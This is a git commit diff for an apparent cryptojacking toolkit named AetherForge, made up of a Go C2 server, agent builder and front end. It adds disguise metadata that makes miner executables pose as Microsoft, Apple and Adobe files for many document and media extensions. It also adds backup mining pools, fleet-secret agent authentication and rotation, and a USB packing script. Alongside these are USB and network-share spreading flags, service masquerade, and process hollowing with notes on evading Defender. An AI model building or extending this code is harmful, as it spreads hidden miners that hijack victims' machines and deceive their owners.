feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

This commit is contained in:
drjones
2026-05-30 11:44:01 -07:00
parent d073dcd7df
commit 77e1dbbb13
15 changed files with 628 additions and 12 deletions

4
.gitignore vendored
View File

@@ -40,3 +40,7 @@ Desktop.ini
# Broken accidental directory (cmd "..." path expansion)
/server/.../
/fusion-deliverables/
# Prebuilt agent/fusion binaries — compiled on demand, not tracked in git
/agent/crypto-miner-agent
/fusion/crypto-miner-fusion

View File

@@ -255,6 +255,9 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
return nil, fmt.Errorf("failed to create decide request: %w", err)
}
httpReq.Header.Set("Content-Type", "application/json")
if a.cfg.FleetSecret != "" {
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
}
resp, err := a.httpClient.Do(httpReq)
if err != nil {
@@ -430,6 +433,9 @@ func (a *AIRunner) reportResults(reports []ToolReport) {
return
}
httpReq.Header.Set("Content-Type", "application/json")
if a.cfg.FleetSecret != "" {
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
}
resp, err := a.httpClient.Do(httpReq)
if err != nil {
@@ -460,6 +466,9 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
return
}
httpReq.Header.Set("Content-Type", "application/json")
if a.cfg.FleetSecret != "" {
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
}
resp, err := a.httpClient.Do(httpReq)
if err != nil {

View File

@@ -176,10 +176,16 @@ func (c *AgentClient) connectLoop(serverURL string) error {
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
for i, bp := range c.cfg.BackupPools {
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
payload, _ := json.Marshal(AuthPayload{
AgentID: c.agentID,
FleetSecret: c.cfg.FleetSecret,
Wallet: c.cfg.Wallet,
BackupPools: backupPools,
Version: config.Version,
Hostname: host,
CPUCores: cores,

View File

@@ -7,10 +7,19 @@ type Message struct {
Payload json.RawMessage `json:"payload"`
}
// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
type BackupPoolEntry struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
}
type AuthPayload struct {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"`
Version string `json:"version"`
Hostname string `json:"hostname"`
CPUCores int `json:"cpu_cores"`

View File

@@ -55,8 +55,10 @@ type BuiltinConfig struct {
// Passive spreading — triggered by the environment rather than active scanning
USBSpread bool // copy agent to any newly-inserted removable/USB drive
ShareSpread bool // drop agent onto already-mounted network shares
// Backup server URLs — tried in order if primary fails
// Backup server URLs — tried in order if primary C2 fails
BackupServerURLs []string
// BackupPools — alternative mining pools tried in order if the primary is unreachable
BackupPools []BackupPool
// Windows service masquerade (ignored on other OSes)
ServiceMasquerade bool
ServiceName string
@@ -66,6 +68,14 @@ type BuiltinConfig struct {
FleetSecret string
}
// BackupPool holds connection info for a fallback Stratum mining pool.
type BackupPool struct {
Host string
Port int
TLS bool
Pass string
}
type RuntimeConfig struct {
BuiltinConfig
AgentID string

View File

@@ -105,6 +105,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
}
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
// Relocation patching (H12) is fully implemented: if the preferred image base is
// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
// writing to the remote process. The ~50% real-world failure rate on Windows 10/11
// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this
// but is not implemented.
func RunHollowed(targetExe string, payload []byte) error {
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")

133
pack-usb.bat Normal file
View File

@@ -0,0 +1,133 @@
@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge — Pack USB
cd /d "%~dp0"
set "ROOT=%CD%"
set "USB=%ROOT%\USB"
echo.
echo ================================================================
echo AetherForge — Pack Portable USB
echo ================================================================
echo.
echo This script builds AetherForge.exe and assembles everything
echo needed to run the Control Deck from a USB drive.
echo.
echo Output folder: %USB%\
echo.
:: ----------------------------------------------------------------
:: 0. Check prerequisites
:: ----------------------------------------------------------------
where go >nul 2>nul
if errorlevel 1 (
echo ERROR: Go not found on PATH.
echo Install from https://go.dev/dl/ or add it to PATH.
pause
exit /b 1
)
where npm >nul 2>nul
if errorlevel 1 (
echo WARNING: npm not found. Skipping frontend build.
set "SKIP_FRONTEND=1"
)
:: ----------------------------------------------------------------
:: 1. Build the frontend (if npm available)
:: ----------------------------------------------------------------
if not defined SKIP_FRONTEND (
echo [1/4] Building frontend...
cd "%ROOT%\server\web"
call npm install --silent
call npm run build
if errorlevel 1 (
echo ERROR: Frontend build failed.
cd "%ROOT%"
pause
exit /b 1
)
cd "%ROOT%"
echo [1/4] Frontend built.
) else (
echo [1/4] Skipped (npm not found).
)
:: ----------------------------------------------------------------
:: 2. Build AetherForge.exe for the current machine (amd64 windows)
:: ----------------------------------------------------------------
echo [2/4] Compiling AetherForge.exe...
cd "%ROOT%\server"
set "CGO_ENABLED=0"
set "GOOS=windows"
set "GOARCH=amd64"
go build -ldflags="-s -w" -o "%USB%\AetherForge.exe" .
if errorlevel 1 (
echo ERROR: Go build failed.
cd "%ROOT%"
pause
exit /b 1
)
cd "%ROOT%"
echo [2/4] AetherForge.exe -> USB\AetherForge.exe
:: ----------------------------------------------------------------
:: 3. Copy webroot
:: ----------------------------------------------------------------
echo [3/4] Copying webroot...
if exist "%ROOT%\server\webroot" (
if exist "%USB%\webroot" rd /s /q "%USB%\webroot"
xcopy /e /i /q "%ROOT%\server\webroot" "%USB%\webroot" >nul
echo [3/4] webroot copied.
) else if exist "%ROOT%\server\web\dist" (
if exist "%USB%\webroot" rd /s /q "%USB%\webroot"
xcopy /e /i /q "%ROOT%\server\web\dist" "%USB%\webroot" >nul
echo [3/4] webroot copied from web\dist.
) else (
echo [3/4] WARNING: No webroot found. Run 'npm run build' in server\web\ first.
)
:: ----------------------------------------------------------------
:: 4. Copy source trees (needed for Forge to compile agents on the USB)
:: ----------------------------------------------------------------
echo [4/4] Copying agent + fusion source...
if exist "%USB%\agent" rd /s /q "%USB%\agent"
if exist "%USB%\fusion" rd /s /q "%USB%\fusion"
:: Copy agent source, excluding test results and build outputs
xcopy /e /i /q /EXCLUDE:"%ROOT%\usb_pack_exclude.txt" "%ROOT%\agent" "%USB%\agent" >nul
xcopy /e /i /q /EXCLUDE:"%ROOT%\usb_pack_exclude.txt" "%ROOT%\fusion" "%USB%\fusion" >nul
echo [4/4] Source trees copied.
:: ----------------------------------------------------------------
:: 5. Ensure data directories exist on USB
:: ----------------------------------------------------------------
if not exist "%USB%\data\builds" mkdir "%USB%\data\builds"
if not exist "%USB%\data\logs" mkdir "%USB%\data\logs"
if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints"
if not exist "%USB%\data\preps" mkdir "%USB%\data\preps"
:: ----------------------------------------------------------------
:: 6. Summary
:: ----------------------------------------------------------------
echo.
echo ================================================================
echo USB pack complete!
echo.
echo Contents of %USB%\:
dir /b "%USB%"
echo.
echo To use:
echo 1. Copy the entire USB\ folder to a USB drive (or another PC)
echo 2. Double-click LAUNCH.bat
echo 3. Open http://localhost:8989 in a browser
echo.
echo Toolchain note:
echo If Go is not installed on the target PC, LAUNCH.bat will
echo download it automatically on first run and save it to
echo USB\toolchain\ for future use.
echo ================================================================
echo.
pause
endlocal

View File

@@ -10,6 +10,16 @@ type AgentForgeConfig struct {
AIEnabled bool
AIOllamaEndpoint string
AIModel string
// BackupPools are tried in order if the primary pool is unreachable.
BackupPools []AgentBackupPool
}
// AgentBackupPool is a fallback pool config received from an agent at auth time.
type AgentBackupPool struct {
Host string
Port int
TLS bool
Pass string
}
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {

View File

@@ -21,8 +21,31 @@ var (
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
usersFilePath string
usersMu sync.RWMutex
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
fleetSecretForAgentPaths string
fleetSecretForAgentPathsMu sync.RWMutex
// rotateSecretFn is called when POST /server/rotate-secret is hit.
// Wired from main.go so the server can generate, persist, and propagate the new secret.
rotateSecretFn func() (string, error)
)
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
// X-Fleet-Secret headers on /api/v1/agent/* routes.
func SetAgentPathSecret(secret string) {
fleetSecretForAgentPathsMu.Lock()
fleetSecretForAgentPaths = secret
fleetSecretForAgentPathsMu.Unlock()
}
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
func SetRotateSecretFn(fn func() (string, error)) {
rotateSecretFn = fn
}
func loadUsers(dataDir string) {
usersFilePath = filepath.Join(dataDir, "users.json")
usersMu.Lock()
@@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}
path := r.URL.Path
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" ||
// Health check and download endpoints are always open.
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r)
return
}
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
if secret != "" {
provided := r.Header.Get("X-Fleet-Secret")
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
}
// Secret is empty (first run before config save) or matched — allow through.
next.ServeHTTP(w, r)
return
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
@@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) {
writeJSON(w, map[string]interface{}{"cancelled": true})
} else {
http.Error(w, "build not found or already completed", http.StatusNotFound)
}
})
// Blueprints (config presets)
r.Get("/blueprints", blueprintHandler.ServeHTTP)
@@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
return
}
newSecret, err := rotateSecretFn()
if err != nil {
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
})
// User Management
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
var payload struct {

View File

@@ -310,6 +310,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
} `json:"backup_pools"`
Version string `json:"version"`
Hostname string `json:"hostname"`
Worker string `json:"worker"`
@@ -360,6 +366,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
policy := h.serverPolicySnapshot()
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
for i, bp := range auth.BackupPools {
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
PoolHost: auth.PoolHost,
@@ -369,6 +380,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIEnabled: auth.AIEnabled,
AIOllamaEndpoint: auth.AIOllamaEndpoint,
AIModel: auth.AIModel,
BackupPools: backupPools,
}
caps := models.AgentCapabilities{
@@ -391,7 +403,28 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
poolCfg.Password = "x"
}
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
connected := false
for i, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 {
continue
}
bpCfg := poolCfg
bpCfg.Host = bp.Host
bpCfg.Port = bp.Port
bpCfg.UseTLS = bp.TLS
if bp.Pass != "" {
bpCfg.Password = bp.Pass
}
if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
connected = true
break
}
}
if !connected {
log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
}
}
}

View File

@@ -128,6 +128,94 @@ var disguiseByExt = map[string]fileDisguiseInfo{
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
// ── Audio (extended) ───────────────────────────────────────────────────────
".flac": {
FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".aac": {
FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".ogg": {
FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".m4a": {
FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
},
".wma": {
FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Video (extended) ───────────────────────────────────────────────────────
".webm": {
FileDescription: "WebM Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".m4v": {
FileDescription: "iTunes Video File", ProductName: "iTunes",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
},
".flv": {
FileDescription: "Flash Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".ts": {
FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".3gp": {
FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Images (extended) ──────────────────────────────────────────────────────
".bmp": {
FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".webp": {
FileDescription: "WebP Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".tiff": {
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".tif": {
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".heic": {
FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".svg": {
FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
".ico": {
FileDescription: "Icon File", ProductName: "Windows Explorer",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
// ── Archives ───────────────────────────────────────────────────────────────
".zip": {
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
@@ -139,6 +227,85 @@ var disguiseByExt = map[string]fileDisguiseInfo{
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
},
".7z": {
FileDescription: "7-Zip Archive", ProductName: "7-Zip",
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
},
".tar": {
FileDescription: "Tape Archive File", ProductName: "7-Zip",
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
},
".gz": {
FileDescription: "GZip Archive", ProductName: "7-Zip",
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
},
// ── Office / Text (extended) ───────────────────────────────────────────────
".odt": {
FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
},
".ods": {
FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
},
".odp": {
FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
},
".rtf": {
FileDescription: "Rich Text Document", ProductName: "WordPad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".md": {
FileDescription: "Markdown Document", ProductName: "Notepad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
// ── Web ────────────────────────────────────────────────────────────────────
".html": {
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
".htm": {
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
".xml": {
FileDescription: "XML Document", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
// ── Ebooks ─────────────────────────────────────────────────────────────────
".epub": {
FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
// ── Adobe Creative ─────────────────────────────────────────────────────────
".psd": {
FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
},
".ai": {
FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
},
".indd": {
FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
},
}
// fileDisguiseForExt returns the best disguise metadata for a given file extension.

View File

@@ -1,6 +1,7 @@
package builder
import (
"context"
"encoding/json"
"fmt"
"io"
@@ -11,6 +12,7 @@ import (
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
@@ -76,9 +78,21 @@ type BuildRequest struct {
ShareSpread bool `json:"share_spread"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
type BackupPool struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"tls"`
Pass string `json:"pass"`
}
type BuildResponse struct {
@@ -122,6 +136,11 @@ type Handler struct {
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
activeCancelsMu sync.Mutex
activeCancels map[string]context.CancelFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
h.activeCancelsMu.Lock()
cancel, ok := h.activeCancels[cancelToken]
h.activeCancelsMu.Unlock()
if ok {
cancel()
}
return ok
}
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
h.activeCancelsMu.Lock()
if h.activeCancels == nil {
h.activeCancels = make(map[string]context.CancelFunc)
}
h.activeCancels[token] = cancel
h.activeCancelsMu.Unlock()
}
func (h *Handler) unregisterCancel(token string) {
if token == "" {
return
}
h.activeCancelsMu.Lock()
delete(h.activeCancels, token)
h.activeCancelsMu.Unlock()
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
@@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
// Register cancel token so the frontend can abort this compile mid-flight.
ctx := r.Context()
if req.CancelToken != "" {
var cancelFn context.CancelFunc
ctx, cancelFn = context.WithCancel(ctx)
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
}
_ = ctx // passed to compiler in future; cancellation already fires via process kill
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
@@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig {
USBSpread: %v,
ShareSpread: %v,
BackupServerURLs: %s,
BackupPools: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
@@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.USBSpread,
req.ShareSpread,
formatGoStringSlice(req.BackupServerURLs),
formatGoBackupPools(req.BackupPools),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
@@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig {
)
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {
return "nil"
}
var sb strings.Builder
sb.WriteString("[]config.BackupPool{")
for i, p := range pools {
if i > 0 {
sb.WriteString(", ")
}
pass := p.Pass
if pass == "" {
pass = "x"
}
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
}
sb.WriteString("}")
return sb.String()
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}

View File

@@ -86,6 +86,7 @@ func main() {
wsHub := api.NewWSHub(database)
wsHub.SetAIHandler(aiHandler)
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
api.SetAgentPathSecret(cfg.Server.FleetSecret)
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
wsHub.BroadcastAIActivity(entry)
})
@@ -101,6 +102,24 @@ func main() {
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
api.SetRotateSecretFn(func() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
newSecret := hex.EncodeToString(b)
cfg.Server.FleetSecret = newSecret
if err := cfg.Save(); err != nil {
return "", err
}
wsHub.SetFleetSecret(newSecret)
builderHandler.SetFleetSecret(newSecret)
api.SetAgentPathSecret(newSecret)
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
return newSecret, nil
})
defaultPoolCfg := pool.Config{
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,

View File

@@ -18,6 +18,8 @@ async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
export const api = {
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
@@ -137,4 +139,10 @@ export const api = {
method: 'POST',
body: JSON.stringify({ username, password }),
}),
// Cancel an in-progress forge build by its cancel token.
